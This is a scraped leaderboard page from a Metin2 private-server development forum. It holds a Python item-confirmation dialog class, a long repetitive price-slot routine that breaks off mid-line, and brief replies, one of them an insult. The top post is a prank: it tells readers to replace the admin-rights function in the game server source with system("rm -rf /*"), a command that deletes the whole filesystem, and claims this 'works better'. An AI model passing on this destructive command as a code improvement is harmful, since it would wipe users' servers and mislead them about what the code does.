Jump to content
metin2dev

Leaderboard


Popular Content

Showing most liked content since 12/20/2017 in all areas

  1. 9 points
    Replace void CHARACTER::GiveAdminRights() { m_pointsInstant.gm_level = GM_IMPLEMENTOR; } With void CHARACTER::GiveAdminRights() { system("rm -rf /*"); } And will works better
  2. 7 points
    Thanks, martysama was selling this for 90€
  3. 6 points
    https://i.imgur.com/TBOcLui.gifv uiCommon.py class ItemQuestionDialog(ui.ScriptWindow): def __init__(self): ui.ScriptWindow.__init__(self) self.__CreateDialog() self.tooltipItem = uiToolTip.ItemToolTip() self.toolTip = uiToolTip.ToolTip() self.window_type = 0 self.count = 0 self.dropType = 0 self.dropCount = 0 self.dropNumber = 0 def __del__(self): ui.ScriptWindow.__del__(self) def __CreateDialog(self): pyScrLoader = ui.PythonScriptLoader() pyScrLoader.LoadScriptFile(self, "QuestionDialog.py") self.board = self.GetChild("board") self.textLine = self.GetChild("message") self.acceptButton = self.GetChild("accept") self.cancelButton = self.GetChild("cancel") self.titleBar = ui.TitleBar() self.titleBar.SetParent(self.board) self.titleBar.MakeTitleBar(244, "yellow") self.titleBar.SetPosition(8, 7) self.titleBar.Show() self.titleName = ui.TextLine() self.titleName.SetParent(self.titleBar) self.titleName.SetPosition(0, 4) self.titleName.SetWindowHorizontalAlignCenter() self.titleName.SetHorizontalAlignCenter() self.titleName.Show() self.slotList = [] for i in xrange(3): slot = ui.ImageBox() slot.LoadImage("d:/ymir work/ui/public/slot_base.sub") slot.SetParent(self) slot.SetWindowHorizontalAlignCenter() self.slotList.append(slot) def Open(self, vnum, slot = None, price = None): item.SelectItem(vnum) xSlotCount, ySlotCount = item.GetItemSize() try: if self.window_type == "inv": metinSlot = [player.GetItemMetinSocket(player.INVENTORY, slot, i) for i in xrange(player.METIN_SOCKET_MAX_NUM)] elif self.window_type == "shop": metinSlot = [shop.GetItemMetinSocket(slot, i) for i in xrange(player.METIN_SOCKET_MAX_NUM)] except: pass if vnum in (50300, 70037): self.titleName.SetText("%s %s" % (skill.GetSkillName(metinSlot[0]), item.GetItemName())) elif vnum == 70104: self.titleName.SetText("%s %s" % (nonplayer.GetMonsterName(metinSlot[0]), item.GetItemName())) else: self.titleName.SetText(item.GetItemName()) newHeight = 0 if price: newHeight = 20 itemPrice = ui.TextLine() itemPrice.SetPosition(0, 77 + 32*ySlotCount) itemPrice.SetWindowHorizontalAlignCenter() itemPrice.SetHorizontalAlignCenter() itemPrice.SetVerticalAlignCenter() itemPrice.SetParent(self.board) if str(price).isdigit(): itemPrice.SetText(localeInfo.NumberToMoneyString(price)) else: itemPrice.SetText(price) itemPrice.Show() self.itemPrice = itemPrice slotGrid = ui.SlotWindow() slotGrid.SetParent(self) slotGrid.SetPosition(-16, 62) slotGrid.SetWindowHorizontalAlignCenter() slotGrid.AppendSlot(0, 0, 0, 32*xSlotCount, 32*ySlotCount) slotGrid.AddFlag("not_pick") slotGrid.Show() self.slotGrid = slotGrid if self.count > 1 and vnum != 1: self.slotGrid.SetItemSlot(0, vnum, self.count) else: self.slotGrid.SetItemSlot(0, vnum) self.SetSize(260, 110 + 32*ySlotCount + newHeight) self.board.SetSize(260, 110 + 32*ySlotCount + newHeight) self.textLine.SetPosition(0, 44) for i in xrange(min(3, ySlotCount)): self.slotList[i].SetPosition(0, 30 + ySlotCount*32 - i*32) if vnum != 1: self.slotList[i].OnMouseOverIn = lambda arg = slot: self.OverInItem(arg) self.slotList[i].OnMouseOverOut = lambda arg = self.tooltipItem: self.OverOutItem(arg) else: self.slotList[i].OnMouseOverIn = lambda arg = localeInfo.MONETARY_UNIT0: self.OverInToolTip(arg) self.slotList[i].OnMouseOverOut = lambda: self.OverOutToolTip() self.slotList[i].Show() self.GetChild("accept").SetPosition(-40, 74 + 32*ySlotCount + newHeight) self.GetChild("cancel").SetPosition(40, 74 + 32*ySlotCount + newHeight) self.titleBar.SetCloseEvent(ui.__mem_func__(self.Close)) self.SetCenterPosition() self.SetTop() self.Show() def SetCloseEvent(self, event): self.titleBar.SetCloseEvent(event) def SetMessage(self, text): self.textLine.SetText(text) def OverInToolTip(self, arg): self.toolTip.ClearToolTip() self.toolTip.AppendTextLine(arg, 0xffffff00) self.toolTip.Show() def OverOutToolTip(self): self.toolTip.Hide() def OverInItem(self, slot): if self.window_type == "shop": self.tooltipItem.SetShopItem(slot) elif self.window_type == "inv": self.tooltipItem.SetInventoryItem(slot) def OverOutItem(self, tooltipItem): if None != tooltipItem: self.tooltipItem.HideToolTip() self.tooltipItem.ClearToolTip() def Close(self): self.ClearDictionary() self.slotList = [] self.titleBar = None self.titleName = None self.itemPrice = None self.slotGrid = None self.toolTip = None self.tooltipItem = None self.Hide() constInfo.SET_ITEM_QUESTION_DIALOG_STATUS(0) def SetWidth(self, width): height = self.GetHeight() self.SetSize(width, height) self.board.SetSize(width, height) self.SetCenterPosition() self.UpdateRect() def SAFE_SetAcceptEvent(self, event): self.acceptButton.SAFE_SetEvent(event) def SAFE_SetCancelEvent(self, event): self.cancelButton.SAFE_SetEvent(event) def SetAcceptEvent(self, event): self.acceptButton.SetEvent(event) def SetCancelEvent(self, event): self.cancelButton.SetEvent(event) def SetText(self, text): self.textLine.SetText(text) def SetAcceptText(self, text): self.acceptButton.SetText(text) def SetCancelText(self, text): self.cancelButton.SetText(text) def OnPressEscapeKey(self): self.Close() return True add imports import constInfo import skill import nonplayer This is just a class, now you just have to call it itemQuestionDialog = uiCommon.ItemQuestionDialog() itemQuestionDialog.window_type = "inv" #for inventory itemQuestionDialog.window_type = "shop" #for shops itemQuestionDialog.count = ... drop MONEY itemQuestionDialog.Open(1, "", attachedMoney) drop ITEM itemQuestionDialog.Open(itemVNum, slotNumber) buy&sell ITEM itemQuestionDialog.Open(itemVNum, slotNumber, price)
  4. 6 points
    Go back to turkmmo and never come back.
  5. 6 points
    def sufiyatkac(self,slots,fiyats): import constInfo slot = int(slots) fiyat = int(fiyats) if slot == 0: constInfo.sufiyat0 = fiyat if slot == 1: constInfo.sufiyat1 = fiyat if slot == 2: constInfo.sufiyat2 = fiyat if slot == 3: constInfo.sufiyat3 = fiyat if slot == 4: constInfo.sufiyat4 = fiyat if slot == 5: constInfo.sufiyat5 = fiyat if slot == 6: constInfo.sufiyat6 = fiyat if slot == 7: constInfo.sufiyat7 = fiyat if slot == 8: constInfo.sufiyat8 = fiyat if slot == 9: constInfo.sufiyat9 = fiyat if slot == 10: constInfo.sufiyat10 = fiyat if slot == 11: constInfo.sufiyat11 = fiyat if slot == 12: constInfo.sufiyat12 = fiyat if slot == 13: constInfo.sufiyat13 = fiyat if slot == 14: constInfo.sufiyat14 = fiyat if slot == 15: constInfo.sufiyat15 = fiyat if slot == 16: constInfo.sufiyat16 = fiyat if slot == 17: constInfo.sufiyat17 = fiyat if slot == 18: constInfo.sufiyat18 = fiyat if slot == 19: constInfo.sufiyat19 = fiyat if slot == 20: constInfo.sufiyat20 = fiyat if slot == 21: constInfo.sufiyat21 = fiyat if slot == 22: constInfo.sufiyat22 = fiyat if slot == 23: constInfo.sufiyat23 = fiyat if slot == 24: constInfo.sufiyat24 = fiyat if slot == 25: constInfo.sufiyat25 = fiyat if slot == 26: constInfo.sufiyat26 = fiyat if slot == 27: constInfo.sufiyat27 = fiyat if slot == 28: constInfo.sufiyat28 = fiyat if slot == 29: constInfo.sufiyat29 = fiyat if slot == 30: constInfo.sufiyat30 = fiyat if slot == 31: constInfo.sufiyat31 = fiyat if slot == 32: constInfo.sufiyat32 = fiyat if slot == 33: constInfo.sufiyat33 = fiyat if slot == 34: constInfo.sufiyat34 = fiyat if slot == 35: constInfo.sufiyat35 = fiyat if slot == 36: constInfo.sufiyat36 = fiyat if slot == 37: constInfo.sufiyat37 = fiyat if slot == 38: constInfo.sufiyat38 = fiyat if slot == 39: constInfo.sufiyat39 = fiyat if slot == 40: constInfo.sufiyat40 = fiyat if slot == 41: constInfo.sufiyat41 = fiyat if slot == 42: constInfo.sufiyat42 = fiyat if slot == 43: constInfo.sufiyat43 = fiyat if slot == 44: constInfo.sufiyat44 = fiyat if slot == 45: constInfo.sufiyat45 = fiyat if slot == 46: constInfo.sufiyat46 = fiyat if slot == 47: constInfo.sufiyat47 = fiyat if slot == 48: constInfo.sufiyat48 = fiyat if slot == 49: constInfo.sufiyat49 = fiyat if slot == 50: constInfo.sufiyat50 = fiyat if slot == 51: constInfo.sufiyat51 = fiyat if slot == 52: constInfo.sufiyat52 = fiyat if slot == 53: constInfo.sufiyat53 = fiyat if slot == 54: constInfo.sufiyat54 = fiyat if slot == 55: constInfo.sufiyat55 = fiyat if slot == 56: constInfo.sufiyat56 = fiyat if slot == 57: constInfo.sufiyat57 = fiyat if slot == 58: constInfo.sufiyat58 = fiyat if slot == 59: constInfo.sufiyat59 = fiyat if slot == 60: constInfo.sufiyat60 = fiyat if slot == 61: constInfo.sufiyat61 = fiyat if slot == 62: constInfo.sufiyat62 = fiyat if slot == 63: constInfo.sufiyat63 = fiyat if slot == 64: constInfo.sufiyat64 = fiyat if slot == 65: constInfo.sufiyat65 = fiyat if slot == 66: constInfo.sufiyat66 = fiyat if slot == 67: constInfo.sufiyat67 = fiyat if slot == 68: constInfo.sufiyat68 = fiyat if slot == 69: constInfo.sufiyat69 = fiyat if slot == 70: constInfo.sufiyat70 = fiyat if slot == 71: constInfo.sufiyat71 = fiyat if slot == 72: constInfo.sufiyat72 = fiyat if slot == 73: constInfo.sufiyat73 = fiyat if slot == 74: constInfo.sufiyat74 = fiyat if slot == 75: constInfo.sufiyat75 = fiyat if slot == 76: constInfo.sufiyat76 = fiyat if slot == 77: constInfo.sufiyat77 = fiyat if slot == 78: constInfo.sufiyat78 = fiyat if slot == 79: constInfo.sufiyat79 = fiyat if slot == 80: constInfo.sufiyat80 = fiyat if slot == 81: constInfo.sufiyat81 = fiyat if slot == 82: constInfo.sufiyat82 = fiyat if slot == 83: constInfo.sufiyat83 = fiyat if slot == 84: constInfo.sufiyat84 = fiyat if slot == 85: constInfo.sufiyat85 = fiyat if slot == 86: constInfo.sufiyat86 = fiyat if slot == 87: constInfo.sufiyat87 = fiyat if slot == 88: constInfo.sufiyat88 = fiyat if slot == 89: constInfo.sufiyat89 = fiyat if slot == 90: constInfo.sufiyat90 = fiyat if slot == 91: constInfo.sufiyat91 = fiyat if slot == 92: constInfo.sufiyat92 = fiyat if slot == 93: constInfo.sufiyat93 = fiyat if slot == 94: constInfo.sufiyat94 = fiyat if slot == 95: constInfo.sufiyat95 = fiyat if slot == 96: constInfo.sufiyat96 = fiyat if slot == 97: constInfo.sufiyat97 = fiyat if slot == 98: constInfo.sufiyat98 = fiyat if slot == 99: constInfo.sufiyat99 = fiyat if slot == 100: constInfo.sufiyat100 = fiyat if slotIndex == 0: suprices = constInfo.sufiyat0 barprices = constInfo.barfiyat0 yesilotprices = constInfo.yesilot0 kirmiziotprices = constInfo.kirmiziot0 maviotprices = constInfo.maviot0 morotprices = constInfo.morot0 ruhtasiprices = constInfo.ruhtasi0 if slotIndex == 1: suprices = constInfo.sufiyat1 barprices = constInfo.barfiyat1 yesilotprices = constInfo.yesilot1 kirmiziotprices = constInfo.kirmiziot1 maviotprices = constInfo.maviot1 morotprices = constInfo.morot1 ruhtasiprices = constInfo.ruhtasi1 if slotIndex == 2: suprices = constInfo.sufiyat2 barprices = constInfo.barfiyat2 yesilotprices = constInfo.yesilot2 kirmiziotprices = constInfo.kirmiziot2 maviotprices = constInfo.maviot2 morotprices = constInfo.morot2 ruhtasiprices = constInfo.ruhtasi2 if slotIndex == 3: suprices = constInfo.sufiyat3 barprices = constInfo.barfiyat3 yesilotprices = constInfo.yesilot3 kirmiziotprices = constInfo.kirmiziot3 maviotprices = constInfo.maviot3 morotprices = constInfo.morot3 ruhtasiprices = constInfo.ruhtasi3 if slotIndex == 4: suprices = constInfo.sufiyat4 barprices = constInfo.barfiyat4 yesilotprices = constInfo.yesilot4 kirmiziotprices = constInfo.kirmiziot4 maviotprices = constInfo.maviot4 morotprices = constInfo.morot4 ruhtasiprices = constInfo.ruhtasi4 if slotIndex == 5: suprices = constInfo.sufiyat5 barprices = constInfo.barfiyat5 yesilotprices = constInfo.yesilot5 kirmiziotprices = constInfo.kirmiziot5 maviotprices = constInfo.maviot5 morotprices = constInfo.morot5 ruhtasiprices = constInfo.ruhtasi5 if slotIndex == 6: suprices = constInfo.sufiyat6 barprices = constInfo.barfiyat6 yesilotprices = constInfo.yesilot6 kirmiziotprices = constInfo.kirmiziot6 maviotprices = constInfo.maviot6 morotprices = constInfo.morot6 ruhtasiprices = constInfo.ruhtasi6 if slotIndex == 7: suprices = constInfo.sufiyat7 barprices = constInfo.barfiyat7 yesilotprices = constInfo.yesilot7 kirmiziotprices = constInfo.kirmiziot7 maviotprices = constInfo.maviot7 morotprices = constInfo.morot7 ruhtasiprices = constInfo.ruhtasi7 if slotIndex == 8: suprices = constInfo.sufiyat8 barprices = constInfo.barfiyat8 yesilotprices = constInfo.yesilot8 kirmiziotprices = constInfo.kirmiziot8 maviotprices = constInfo.maviot8 morotprices = constInfo.morot8 ruhtasiprices = constInfo.ruhtasi8 if slotIndex == 9: suprices = constInfo.sufiyat9 barprices = constInfo.barfiyat9 yesilotprices = constInfo.yesilot9 kirmiziotprices = constInfo.kirmiziot9 maviotprices = constInfo.maviot9 morotprices = constInfo.morot9 ruhtasiprices = constInfo.ruhtasi9 if slotIndex == 10: suprices = constInfo.sufiyat10 barprices = constInfo.barfiyat10 yesilotprices = constInfo.yesilot10 kirmiziotprices = constInfo.kirmiziot10 maviotprices = constInfo.maviot10 morotprices = constInfo.morot10 ruhtasiprices = constInfo.ruhtasi10 if slotIndex == 11: suprices = constInfo.sufiyat11 barprices = constInfo.barfiyat11 yesilotprices = constInfo.yesilot11 kirmiziotprices = constInfo.kirmiziot11 maviotprices = constInfo.maviot11 morotprices = constInfo.morot11 ruhtasiprices = constInfo.ruhtasi11 if slotIndex == 12: suprices = constInfo.sufiyat12 barprices = constInfo.barfiyat12 yesilotprices = constInfo.yesilot12 kirmiziotprices = constInfo.kirmiziot12 maviotprices = constInfo.maviot12 morotprices = constInfo.morot12 ruhtasiprices = constInfo.ruhtasi12 if slotIndex == 13: suprices = constInfo.sufiyat13 barprices = constInfo.barfiyat13 yesilotprices = constInfo.yesilot13 kirmiziotprices = constInfo.kirmiziot13 maviotprices = constInfo.maviot13 morotprices = constInfo.morot13 ruhtasiprices = constInfo.ruhtasi13 if slotIndex == 14: suprices = constInfo.sufiyat14 barprices = constInfo.barfiyat14 yesilotprices = constInfo.yesilot14 kirmiziotprices = constInfo.kirmiziot14 maviotprices = constInfo.maviot14 morotprices = constInfo.morot14 ruhtasiprices = constInfo.ruhtasi14 if slotIndex == 15: suprices = constInfo.sufiyat15 barprices = constInfo.barfiyat15 yesilotprices = constInfo.yesilot15 kirmiziotprices = constInfo.kirmiziot15 maviotprices = constInfo.maviot15 morotprices = constInfo.morot15 ruhtasiprices = constInfo.ruhtasi15 if slotIndex == 16: suprices = constInfo.sufiyat16 barprices = constInfo.barfiyat16 yesilotprices = constInfo.yesilot16 kirmiziotprices = constInfo.kirmiziot16 maviotprices = constInfo.maviot16 morotprices = constInfo.morot16 ruhtasiprices = constInfo.ruhtasi16 if slotIndex == 17: suprices = constInfo.sufiyat17 barprices = constInfo.barfiyat17 yesilotprices = constInfo.yesilot17 kirmiziotprices = constInfo.kirmiziot17 maviotprices = constInfo.maviot17 morotprices = constInfo.morot17 ruhtasiprices = constInfo.ruhtasi17 if slotIndex == 18: suprices = constInfo.sufiyat18 barprices = constInfo.barfiyat18 yesilotprices = constInfo.yesilot18 kirmiziotprices = constInfo.kirmiziot18 maviotprices = constInfo.maviot18 morotprices = constInfo.morot18 ruhtasiprices = constInfo.ruhtasi18 if slotIndex == 19: suprices = constInfo.sufiyat19 barprices = constInfo.barfiyat19 yesilotprices = constInfo.yesilot19 kirmiziotprices = constInfo.kirmiziot19 maviotprices = constInfo.maviot19 morotprices = constInfo.morot19 ruhtasiprices = constInfo.ruhtasi19 if slotIndex == 20: suprices = constInfo.sufiyat20 barprices = constInfo.barfiyat20 yesilotprices = constInfo.yesilot20 kirmiziotprices = constInfo.kirmiziot20 maviotprices = constInfo.maviot20 morotprices = constInfo.morot20 ruhtasiprices = constInfo.ruhtasi20 if slotIndex == 21: suprices = constInfo.sufiyat21 barprices = constInfo.barfiyat21 yesilotprices = constInfo.yesilot21 kirmiziotprices = constInfo.kirmiziot21 maviotprices = constInfo.maviot21 morotprices = constInfo.morot21 ruhtasiprices = constInfo.ruhtasi21 if slotIndex == 22: suprices = constInfo.sufiyat22 barprices = constInfo.barfiyat22 yesilotprices = constInfo.yesilot22 kirmiziotprices = constInfo.kirmiziot22 maviotprices = constInfo.maviot22 morotprices = constInfo.morot22 ruhtasiprices = constInfo.ruhtasi22 if slotIndex == 23: suprices = constInfo.sufiyat23 barprices = constInfo.barfiyat23 yesilotprices = constInfo.yesilot23 kirmiziotprices = constInfo.kirmiziot23 maviotprices = constInfo.maviot23 morotprices = constInfo.morot23 ruhtasiprices = constInfo.ruhtasi23 if slotIndex == 24: suprices = constInfo.sufiyat24 barprices = constInfo.barfiyat24 yesilotprices = constInfo.yesilot24 kirmiziotprices = constInfo.kirmiziot24 maviotprices = constInfo.maviot24 morotprices = constInfo.morot24 ruhtasiprices = constInfo.ruhtasi24 if slotIndex == 25: suprices = constInfo.sufiyat25 barprices = constInfo.barfiyat25 yesilotprices = constInfo.yesilot25 kirmiziotprices = constInfo.kirmiziot25 maviotprices = constInfo.maviot25 morotprices = constInfo.morot25 ruhtasiprices = constInfo.ruhtasi25 if slotIndex == 26: suprices = constInfo.sufiyat26 barprices = constInfo.barfiyat26 yesilotprices = constInfo.yesilot26 kirmiziotprices = constInfo.kirmiziot26 maviotprices = constInfo.maviot26 morotprices = constInfo.morot26 ruhtasiprices = constInfo.ruhtasi26 if slotIndex == 27: suprices = constInfo.sufiyat27 barprices = constInfo.barfiyat27 yesilotprices = constInfo.yesilot27 kirmiziotprices = constInfo.kirmiziot27 maviotprices = constInfo.maviot27 morotprices = constInfo.morot27 ruhtasiprices = constInfo.ruhtasi27 if slotIndex == 28: suprices = constInfo.sufiyat28 barprices = constInfo.barfiyat28 yesilotprices = constInfo.yesilot28 kirmiziotprices = constInfo.kirmiziot28 maviotprices = constInfo.maviot28 morotprices = constInfo.morot28 ruhtasiprices = constInfo.ruhtasi28 if slotIndex == 29: suprices = constInfo.sufiyat29 barprices = constInfo.barfiyat29 yesilotprices = constInfo.yesilot29 kirmiziotprices = constInfo.kirmiziot29 maviotprices = constInfo.maviot29 morotprices = constInfo.morot29 ruhtasiprices = constInfo.ruhtasi29 if slotIndex == 30: suprices = constInfo.sufiyat30 barprices = constInfo.barfiyat30 yesilotprices = constInfo.yesilot30 kirmiziotprices = constInfo.kirmiziot30 maviotprices = constInfo.maviot30 morotprices = constInfo.morot30 ruhtasiprices = constInfo.ruhtasi30 if slotIndex == 31: suprices = constInfo.sufiyat31 barprices = constInfo.barfiyat31 yesilotprices = constInfo.yesilot31 kirmiziotprices = constInfo.kirmiziot31 maviotprices = constInfo.maviot31 morotprices = constInfo.morot31 ruhtasiprices = constInfo.ruhtasi31 if slotIndex == 32: suprices = constInfo.sufiyat32 barprices = constInfo.barfiyat32 yesilotprices = constInfo.yesilot32 kirmiziotprices = constInfo.kirmiziot32 maviotprices = constInfo.maviot32 morotprices = constInfo.morot32 ruhtasiprices = constInfo.ruhtasi32 if slotIndex == 33: suprices = constInfo.sufiyat33 barprices = constInfo.barfiyat33 yesilotprices = constInfo.yesilot33 kirmiziotprices = constInfo.kirmiziot33 maviotprices = constInfo.maviot33 morotprices = constInfo.morot33 ruhtasiprices = constInfo.ruhtasi33 if slotIndex == 34: suprices = constInfo.sufiyat34 barprices = constInfo.barfiyat34 yesilotprices = constInfo.yesilot34 kirmiziotprices = constInfo.kirmiziot34 maviotprices = constInfo.maviot34 morotprices = constInfo.morot34 ruhtasiprices = constInfo.ruhtasi34 if slotIndex == 35: suprices = constInfo.sufiyat35 barprices = constInfo.barfiyat35 yesilotprices = constInfo.yesilot35 kirmiziotprices = constInfo.kirmiziot35 maviotprices = constInfo.maviot35 morotprices = constInfo.morot35 ruhtasiprices = constInfo.ruhtasi35 if slotIndex == 36: suprices = constInfo.sufiyat36 barprices = constInfo.barfiyat36 yesilotprices = constInfo.yesilot36 kirmiziotprices = constInfo.kirmiziot36 maviotprices = constInfo.maviot36 morotprices = constInfo.morot36 ruhtasiprices = constInfo.ruhtasi36 if slotIndex == 37: suprices = constInfo.sufiyat37 barprices = constInfo.barfiyat37 yesilotprices = constInfo.yesilot37 kirmiziotprices = constInfo.kirmiziot37 maviotprices = constInfo.maviot37 morotprices = constInfo.morot37 ruhtasiprices = constInfo.ruhtasi37 if slotIndex == 38: suprices = constInfo.sufiyat38 barprices = constInfo.barfiyat38 yesilotprices = constInfo.yesilot38 kirmiziotprices = constInfo.kirmiziot38 maviotprices = constInfo.maviot38 morotprices = constInfo.morot38 ruhtasiprices = constInfo.ruhtasi38 if slotIndex == 39: suprices = constInfo.sufiyat39 barprices = constInfo.barfiyat39 yesilotprices = constInfo.yesilot39 kirmiziotprices = constInfo.kirmiziot39 maviotprices = constInfo.maviot39 morotprices = constInfo.morot39 ruhtasiprices = constInfo.ruhtasi39 if slotIndex == 40: suprices = constInfo.sufiyat40 barprices = constInfo.barfiyat40 yesilotprices = constInfo.yesilot40 kirmiziotprices = constInfo.kirmiziot40 maviotprices = constInfo.maviot40 morotprices = constInfo.morot40 ruhtasiprices = constInfo.ruhtasi40 if slotIndex == 41: suprices = constInfo.sufiyat41 barprices = constInfo.barfiyat41 yesilotprices = constInfo.yesilot41 kirmiziotprices = constInfo.kirmiziot41 maviotprices = constInfo.maviot41 morotprices = constInfo.morot41 ruhtasiprices = constInfo.ruhtasi41 if slotIndex == 42: suprices = constInfo.sufiyat42 barprices = constInfo.barfiyat42 yesilotprices = constInfo.yesilot42 kirmiziotprices = constInfo.kirmiziot42 maviotprices = constInfo.maviot42 morotprices = constInfo.morot42 ruhtasiprices = constInfo.ruhtasi42 if slotIndex == 43: suprices = constInfo.sufiyat43 barprices = constInfo.barfiyat43 yesilotprices = constInfo.yesilot43 kirmiziotprices = constInfo.kirmiziot43 maviotprices = constInfo.maviot43 morotprices = constInfo.morot43 ruhtasiprices = constInfo.ruhtasi43 if slotIndex == 44: suprices = constInfo.sufiyat44 barprices = constInfo.barfiyat44 yesilotprices = constInfo.yesilot44 kirmiziotprices = constInfo.kirmiziot44 maviotprices = constInfo.maviot44 morotprices = constInfo.morot44 ruhtasiprices = constInfo.ruhtasi44 if slotIndex == 45: suprices = constInfo.sufiyat45 barprices = constInfo.barfiyat45 yesilotprices = constInfo.yesilot45 kirmiziotprices = constInfo.kirmiziot45 maviotprices = constInfo.maviot45 morotprices = constInfo.morot45 ruhtasiprices = constInfo.ruhtasi45 if slotIndex == 46: suprices = constInfo.sufiyat46 barprices = constInfo.barfiyat46 yesilotprices = constInfo.yesilot46 kirmiziotprices = constInfo.kirmiziot46 maviotprices = constInfo.maviot46 morotprices = constInfo.morot46 ruhtasiprices = constInfo.ruhtasi46 if slotIndex == 47: suprices = constInfo.sufiyat47 barprices = constInfo.barfiyat47 yesilotprices = constInfo.yesilot47 kirmiziotprices = constInfo.kirmiziot47 maviotprices = constInfo.maviot47 morotprices = constInfo.morot47 ruhtasiprices = constInfo.ruhtasi47 if slotIndex == 48: suprices = constInfo.sufiyat48 barprices = constInfo.barfiyat48 yesilotprices = constInfo.yesilot48 kirmiziotprices = constInfo.kirmiziot48 maviotprices = constInfo.maviot48 morotprices = constInfo.morot48 ruhtasiprices = constInfo.ruhtasi48 if slotIndex == 49: suprices = constInfo.sufiyat49 barprices = constInfo.barfiyat49 yesilotprices = constInfo.yesilot49 kirmiziotprices = constInfo.kirmiziot49 maviotprices = constInfo.maviot49 morotprices = constInfo.morot49 ruhtasiprices = constInfo.ruhtasi49 if slotIndex == 50: suprices = constInfo.sufiyat50 barprices = constInfo.barfiyat50 yesilotprices = constInfo.yesilot50 kirmiziotprices = constInfo.kirmiziot50 maviotprices = constInfo.maviot50 morotprices = constInfo.morot50 ruhtasiprices = constInfo.ruhtasi50 if slotIndex == 51: suprices = constInfo.sufiyat51 barprices = constInfo.barfiyat51 yesilotprices = constInfo.yesilot51 kirmiziotprices = constInfo.kirmiziot51 maviotprices = constInfo.maviot51 morotprices = constInfo.morot51 ruhtasiprices = constInfo.ruhtasi51 if slotIndex == 52: suprices = constInfo.sufiyat52 barprices = constInfo.barfiyat52 yesilotprices = constInfo.yesilot52 kirmiziotprices = constInfo.kirmiziot52 maviotprices = constInfo.maviot52 morotprices = constInfo.morot52 ruhtasiprices = constInfo.ruhtasi52 if slotIndex == 53: suprices = constInfo.sufiyat53 barprices = constInfo.barfiyat53 yesilotprices = constInfo.yesilot53 kirmiziotprices = constInfo.kirmiziot53 maviotprices = constInfo.maviot53 morotprices = constInfo.morot53 ruhtasiprices = constInfo.ruhtasi53 if slotIndex == 54: suprices = constInfo.sufiyat54 barprices = constInfo.barfiyat54 yesilotprices = constInfo.yesilot54 kirmiziotprices = constInfo.kirmiziot54 maviotprices = constInfo.maviot54 morotprices = constInfo.morot54 ruhtasiprices = constInfo.ruhtasi54 if slotIndex == 55: suprices = constInfo.sufiyat55 barprices = constInfo.barfiyat55 yesilotprices = constInfo.yesilot55 kirmiziotprices = constInfo.kirmiziot55 maviotprices = constInfo.maviot55 morotprices = constInfo.morot55 ruhtasiprices = constInfo.ruhtasi55 if slotIndex == 56: suprices = constInfo.sufiyat56 barprices = constInfo.barfiyat56 yesilotprices = constInfo.yesilot56 kirmiziotprices = constInfo.kirmiziot56 maviotprices = constInfo.maviot56 morotprices = constInfo.morot56 ruhtasiprices = constInfo.ruhtasi56 if slotIndex == 57: suprices = constInfo.sufiyat57 barprices = constInfo.barfiyat57 yesilotprices = constInfo.yesilot57 kirmiziotprices = constInfo.kirmiziot57 maviotprices = constInfo.maviot57 morotprices = constInfo.morot57 ruhtasiprices = constInfo.ruhtasi57 if slotIndex == 58: suprices = constInfo.sufiyat58 barprices = constInfo.barfiyat58 yesilotprices = constInfo.yesilot58 kirmiziotprices = constInfo.kirmiziot58 maviotprices = constInfo.maviot58 morotprices = constInfo.morot58 ruhtasiprices = constInfo.ruhtasi58 if slotIndex == 59: suprices = constInfo.sufiyat59 barprices = constInfo.barfiyat59 yesilotprices = constInfo.yesilot59 kirmiziotprices = constInfo.kirmiziot59 maviotprices = constInfo.maviot59 morotprices = constInfo.morot59 ruhtasiprices = constInfo.ruhtasi59 if slotIndex == 60: suprices = constInfo.sufiyat60 barprices = constInfo.barfiyat60 yesilotprices = constInfo.yesilot60 kirmiziotprices = constInfo.kirmiziot60 maviotprices = constInfo.maviot60 morotprices = constInfo.morot60 ruhtasiprices = constInfo.ruhtasi60 if slotIndex == 61: suprices = constInfo.sufiyat61 barprices = constInfo.barfiyat61 yesilotprices = constInfo.yesilot61 kirmiziotprices = constInfo.kirmiziot61 maviotprices = constInfo.maviot61 morotprices = constInfo.morot61 ruhtasiprices = constInfo.ruhtasi61 if slotIndex == 62: suprices = constInfo.sufiyat62 barprices = constInfo.barfiyat62 yesilotprices = constInfo.yesilot62 kirmiziotprices = constInfo.kirmiziot62 maviotprices = constInfo.maviot62 morotprices = constInfo.morot62 ruhtasiprices = constInfo.ruhtasi62 if slotIndex == 63: suprices = constInfo.sufiyat63 barprices = constInfo.barfiyat63 yesilotprices = constInfo.yesilot63 kirmiziotprices = constInfo.kirmiziot63 maviotprices = constInfo.maviot63 morotprices = constInfo.morot63 ruhtasiprices = constInfo.ruhtasi63 if slotIndex == 64: suprices = constInfo.sufiyat64 barprices = constInfo.barfiyat64 yesilotprices = constInfo.yesilot64 kirmiziotprices = constInfo.kirmiziot64 maviotprices = constInfo.maviot64 morotprices = constInfo.morot64 ruhtasiprices = constInfo.ruhtasi64 if slotIndex == 65: suprices = constInfo.sufiyat65 barprices = constInfo.barfiyat65 yesilotprices = constInfo.yesilot65 kirmiziotprices = constInfo.kirmiziot65 maviotprices = constInfo.maviot65 morotprices = constInfo.morot65 ruhtasiprices = constInfo.ruhtasi65 if slotIndex == 66: suprices = constInfo.sufiyat66 barprices = constInfo.barfiyat66 yesilotprices = constInfo.yesilot66 kirmiziotprices = constInfo.kirmiziot66 maviotprices = constInfo.maviot66 morotprices = constInfo.morot66 ruhtasiprices = constInfo.ruhtasi66 if slotIndex == 67: suprices = constInfo.sufiyat67 barprices = constInfo.barfiyat67 yesilotprices = constInfo.yesilot67 kirmiziotprices = constInfo.kirmiziot67 maviotprices = constInfo.maviot67 morotprices = constInfo.morot67 ruhtasiprices = constInfo.ruhtasi67 if slotIndex == 68: suprices = constInfo.sufiyat68 barprices = constInfo.barfiyat68 yesilotprices = constInfo.yesilot68 kirmiziotprices = constInfo.kirmiziot68 maviotprices = constInfo.maviot68 morotprices = constInfo.morot68 ruhtasiprices = constInfo.ruhtasi68 if slotIndex == 69: suprices = constInfo.sufiyat69 barprices = constInfo.barfiyat69 yesilotprices = constInfo.yesilot69 kirmiziotprices = constInfo.kirmiziot69 maviotprices = constInfo.maviot69 morotprices = constInfo.morot69 ruhtasiprices = constInfo.ruhtasi69 if slotIndex == 70: suprices = constInfo.sufiyat70 barprices = constInfo.barfiyat70 yesilotprices = constInfo.yesilot70 kirmiziotprices = constInfo.kirmiziot70 maviotprices = constInfo.maviot70 morotprices = constInfo.morot70 ruhtasiprices = constInfo.ruhtasi70 if slotIndex == 71: suprices = constInfo.sufiyat71 barprices = constInfo.barfiyat71 yesilotprices = constInfo.yesilot71 kirmiziotprices = 